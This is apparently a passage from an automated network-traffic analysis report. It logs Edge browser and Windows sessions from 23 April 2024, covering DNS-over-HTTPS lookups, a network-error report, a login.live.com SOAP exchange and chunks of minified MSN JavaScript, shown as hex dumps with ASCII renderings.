Data Ascii: mvx\|<r<x1j}BnhuJ" =@HVh@-TFr\$0<aEo27^d40^~#G'qh~'?u>e~5%HAef^+^v@LO/NrEojKA`hUC(b~2
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 6a b3 a5 0a 7f b3 78 7a 9c 1c a7 27 27 91 4d cc d4 d6 05 cc 34 af 37 f4 5b b3 00 80 c8 84 b3 d6 ab 9b 61 ef 2a 01 e6 40 a6 e4 36 05 c4 0e 96 9a 94 59 bb 96 4b 52 f6 6b c4 2f e6 5d a0 72 ec b8 02 f6 93 b8 9e 33 2c 0d 69 34 94 31 67 16 47 61 80 1b 3f 62 66 50 b8 cf 04 8d 10 1f 12 d3 80 2e 71 66 38 8b 77 36 12 b4 3d 33 70 12 43 db dc ac 0c 71 73 73 75 d4 11 11 22 85 86 ad 94 95 25 b4 8d 6f bd d1 d9 30 e1 53 43 4e 15 29 91 a5 25 28 70 26 cb c8 a6 8b 62 63 c0 eb a6 a7 f7 f3 a8 41 3d c2 4a 34 c6 d3 06 61 c9 e1 e0 1b 47 42 a9 27 35 60 12 cb 37 7c 66 53 0c 2a 1d 20 f4 71 da 06 b9 01 b5 8e 4f a2 0d 3f 01 d2 89 63 f1 83 a0 85 9c 32 0a 60 a3 9e cd fa 7e 22 78 53 00 7b 25 35 ab 8a 75 4f af 62 a1 29 50 d1 39 ef 39 bf ba 6b 68 1c 88 09 89 c1 c0 98 d9 94 2a 59 86 df 58 Data Ascii: jxz''M47[a@6YKRk/]r3,i41gGa?bfP.qf8w6=3pCqssu"%o0SCN)%(p&bcA=J4aGB'5`7\|fS qO?c2`~"xS{%5uOb)P99kh*YX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49763	162.159.61.3	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:17 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-04-23 21:02:17 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-04-23 21:02:17 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 23 Apr 2024 21:02:17 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8790cb2ead90ada0-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 21:02:17 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 40 00 04 8e fa 69 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@i^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49764	162.159.61.3	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:17 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-04-23 21:02:17 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-04-23 21:02:17 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 23 Apr 2024 21:02:17 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8790cb2ead046785-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 21:02:17 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 5f 00 04 ad c2 db 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom_^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49768	23.6.117.16	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:17 UTC	382	OUT	POST /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Content-Length: 473 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:17 UTC	473	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 33 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 35 35 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 33 2e 31 30 37 2e 36 2e 31 35 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 31 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 75 73 69 6e 65 73 73 2e 62 69 6e 67 2e Data Ascii: [{"age":233,"body":{"elapsed_time":3556,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"13.107.6.158","status_code":401,"type":"http.error"},"type":"network-error","url":"https://business.bing.
2024-04-23 21:02:18 UTC	359	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Date: Tue, 23 Apr 2024 21:02:18 GMT Content-Length: 21 Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.0c750617.1713906138.625d7d8d Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-04-23 21:02:18 UTC	21	IN	Data Raw: 50 72 6f 63 65 73 73 65 64 20 74 68 65 20 72 65 71 75 65 73 74 Data Ascii: Processed the request

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49765	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:18 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-23 21:02:18 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:18 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 34edb80b-42c8-444f-993e-7955b2a27381 PPServer: PPV: 30 H: SN1PEPF0002FA1C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:17 GMT Connection: close Content-Length: 1276
2024-04-23 21:02:18 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49771	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:18 UTC	627	OUT	GET /bundles/v1/edgeChromium/latest/vendors.6c9316b09d3f8e566483.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:18 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: gnMttbymgsGcL4MxbzJMBA== Last-Modified: Wed, 17 Apr 2024 19:30:50 GMT ETag: 0x8DC5F14E3C98F71 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 9780eb3e-b01e-0048-08fd-90e1be000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:18 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402743934,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801627e Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906138.1801627e Vary: Origin
2024-04-23 21:02:18 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 36 63 39 33 31 36 62 30 39 64 33 66 38 65 35 36 36 34 38 33 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e Data Ascii: 00006000/! For license information please see vendors.6c9316b09d3f8e566483.js.LICENSE.txt /(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.
2024-04-23 21:02:18 UTC	9395	IN	Data Raw: 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 28 72 5b 31 5d 7c 7c 72 5b 32 5d 29 2e 6c 65 6e 67 74 68 29 7d 7d Data Ascii: Exp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice((r[1]\|\|r[2]).length)}}
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 50 4f 50 22 2c 45 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 3f 4c 28 7b 61 63 74 69 6f 6e 3a 22 50 4f 50 22 2c 6c 6f 63 61 74 69 6f 6e 3a 74 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 56 2e 6c 6f 63 61 74 69 6f 6e 2c 6e 3d 50 2e 69 6e 64 65 78 4f 66 28 65 2e 6b 65 79 29 3b 2d 31 3d 3d 3d 6e 26 26 28 6e 3d 30 29 3b 76 61 72 20 72 3d 50 2e 69 6e 64 65 78 4f 66 28 74 2e 6b 65 79 29 3b 2d 31 3d 3d 3d 72 26 26 28 72 3d 30 29 3b 76 61 72 20 69 3d 6e 2d 72 3b 69 26 26 28 49 3d 21 30 2c 46 28 69 29 29 7d 28 74 29 7d 29 29 7d 7d 76 61 72 20 43 3d 5f 28 62 28 29 29 2c 50 3d 5b 43 2e 6b 65 79 5d 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 74 29 7b 72 65 74 75 72 6e 20 78 2b 76 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 Data Ascii: 00006000POP",E,(function(e){e?L({action:"POP",location:t}):function(t){var e=V.location,n=P.indexOf(e.key);-1===n&&(n=0);var r=P.indexOf(t.key);-1===r&&(r=0);var i=n-r;i&&(I=!0,F(i))}(t)}))}}var C=_(b()),P=[C.key];function M(t){return x+v(t)}function F(
2024-04-23 21:02:18 UTC	8204	IN	Data Raw: 7b 76 61 72 20 72 3d 74 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 22 5c 6e 22 29 3e 3d 30 26 26 30 2c 74 2b 65 2e 72 65 70 6c 61 63 65 28 2f 5c 75 30 30 31 62 5c 5b 5c 64 5c 64 3f 6d 2f 67 2c 22 22 29 2e 6c 65 6e 67 74 68 2b 31 7d 29 2c 30 29 3b 69 66 28 72 3e 36 30 29 72 65 74 75 72 6e 20 6e 5b 30 5d 2b 28 22 22 3d 3d 3d 65 3f 22 22 3a 65 2b 22 5c 6e 20 22 29 2b 22 20 22 2b 74 2e 6a 6f 69 6e 28 22 2c 5c 6e 20 20 22 29 2b 22 20 22 2b 6e 5b 31 5d 3b 72 65 74 75 72 6e 20 6e 5b 30 5d 2b 65 2b 22 20 22 2b 74 2e 6a 6f 69 6e 28 22 2c 20 22 29 2b 22 20 22 2b 6e 5b 31 5d 7d 28 73 2c 66 2c 41 29 29 3a 41 5b 30 5d 2b 66 2b 41 5b 31 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 29 7b 72 65 74 Data Ascii: {var r=t.reduce((function(t,e){return e.indexOf("\n")>=0&&0,t+e.replace(/\u001b\[\d\d?m/g,"").length+1}),0);if(r>60)return n[0]+(""===e?"":e+"\n ")+" "+t.join(",\n ")+" "+n[1];return n[0]+e+" "+t.join(", ")+" "+n[1]}(s,f,A)):A[0]+f+A[1]}function v(t){ret
2024-04-23 21:02:18 UTC	2492	IN	Data Raw: 30 30 30 30 30 39 42 30 0d 0a 37 36 37 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 2d 31 2c 6f 3d 6e 75 6c 6c 3d 3d 74 3f 30 3a 74 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 72 26 26 6f 26 26 28 6e 3d 74 5b 2b 2b 69 5d 29 3b 2b 2b 69 3c 6f 3b 29 6e 3d 65 28 6e 2c 74 5b 69 5d 2c 69 2c 74 29 3b 72 65 74 75 72 6e 20 6e 7d 7d 2c 34 33 36 34 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2d 31 2c 72 3d 6e 75 6c 6c 3d 3d 74 3f 30 3a 74 2e 6c 65 6e 67 74 68 3b 2b 2b 6e 3c 72 3b 29 69 66 28 65 28 74 5b 6e 5d 2c 6e 2c 74 29 Data Ascii: 000009B07679:function(t,e){"use strict";e.Z=function(t,e,n,r){var i=-1,o=null==t?0:t.length;for(r&&o&&(n=t[++i]);++i<o;)n=e(n,t[i],i,t);return n}},43641:function(t,e){"use strict";e.Z=function(t,e){for(var n=-1,r=null==t?0:t.length;++n<r;)if(e(t[n],n,t)
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 52 65 67 45 78 70 5d 22 3a 72 65 74 75 72 6e 20 41 28 74 29 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 53 79 6d 62 6f 6c 5d 22 3a 72 65 74 75 72 6e 20 54 28 74 29 7d 7d 2c 44 3d 6e 28 31 37 32 35 37 29 2c 49 3d 6e 28 39 32 31 37 30 29 2c 6b 3d 6e 28 37 39 35 39 37 29 2c 43 3d 6e 28 32 35 31 39 37 29 3b 76 61 72 20 50 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 30 2c 43 2e 5a 29 28 74 29 26 26 22 5b 6f 62 6a 65 63 74 20 4d 61 70 5d 22 3d 3d 28 30 2c 62 2e 5a 29 28 74 29 7d 2c 4d 3d 6e 28 38 36 31 37 36 29 2c 46 3d 6e 28 34 30 36 39 30 29 2c 55 3d 46 2e 5a 26 26 46 2e 5a 2e 69 73 4d 61 70 2c 7a 3d 55 3f 28 30 2c 4d 2e 5a 29 28 55 29 3a 50 2c 52 3d 6e 28 39 36 32 38 38 29 3b 76 61 72 20 56 3d 66 75 6e 63 74 69 6f Data Ascii: 00004000RegExp]":return A(t);case"[object Symbol]":return T(t)}},D=n(17257),I=n(92170),k=n(79597),C=n(25197);var P=function(t){return(0,C.Z)(t)&&"[object Map]"==(0,b.Z)(t)},M=n(86176),F=n(40690),U=F.Z&&F.Z.isMap,z=U?(0,M.Z)(U):P,R=n(96288);var V=functio
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 72 65 74 75 72 6e 20 74 3d 3d 0d 0a Data Ascii: return t==
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 2b 22 22 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 4d 61 70 5d 22 3a 76 61 72 20 64 3d 63 2e 5a 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 53 65 74 5d 22 3a 76 61 72 20 68 3d 31 26 72 3b 69 66 28 64 7c 7c 28 64 3d 61 2e 5a 29 2c 74 2e 73 69 7a 65 21 3d 65 2e 73 69 7a 65 26 26 21 68 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 70 3d 76 2e 67 65 74 28 74 29 3b 69 66 28 70 29 72 65 74 75 72 6e 20 70 3d 3d 65 3b 72 7c 3d 32 2c 76 2e 73 65 74 28 74 2c 65 29 3b 76 61 72 20 67 3d 28 30 2c 75 2e 5a 29 28 64 28 74 29 2c 64 28 65 29 2c 72 2c 73 2c 6c 2c 76 29 3b 72 65 74 75 72 6e 20 76 2e 64 65 6c 65 74 65 28 74 29 2c 67 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 53 79 6d 62 6f 6c 5d 22 3a 69 66 28 66 29 72 65 74 75 72 6e 20 66 2e 63 61 Data Ascii: 00004000e+"";case"[object Map]":var d=c.Z;case"[object Set]":var h=1&r;if(d\|\|(d=a.Z),t.size!=e.size&&!h)return!1;var p=v.get(t);if(p)return p==e;r\|=2,v.set(t,e);var g=(0,u.Z)(d(t),d(e),r,s,l,v);return v.delete(t),g;case"[object Symbol]":if(f)return f.ca
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 65 2c 6e 29 7b 22 75 73 65 20 0d 0a Data Ascii: e,n){"use
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 41 36 39 0d 0a 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 35 37 36 37 33 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 69 3d 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 28 30 2c 72 2e 5a 29 28 74 2c 65 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 69 3f 6e 3a 69 7d 7d 2c 31 31 39 32 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 34 30 37 37 29 2c 69 3d 6e 28 32 33 31 39 37 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 75 3d 28 30 2c 69 2e 5a 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6f 2e 63 61 6c 6c 28 74 2c 6e 29 3f 74 5b 6e 5d 2e 70 75 73 68 28 Data Ascii: 00004A69strict";var r=n(57673);e.Z=function(t,e,n){var i=null==t?void 0:(0,r.Z)(t,e);return void 0===i?n:i}},11923:function(t,e,n){"use strict";var r=n(24077),i=n(23197),o=Object.prototype.hasOwnProperty,u=(0,i.Z)((function(t,e,n){o.call(t,n)?t[n].push(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49773	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
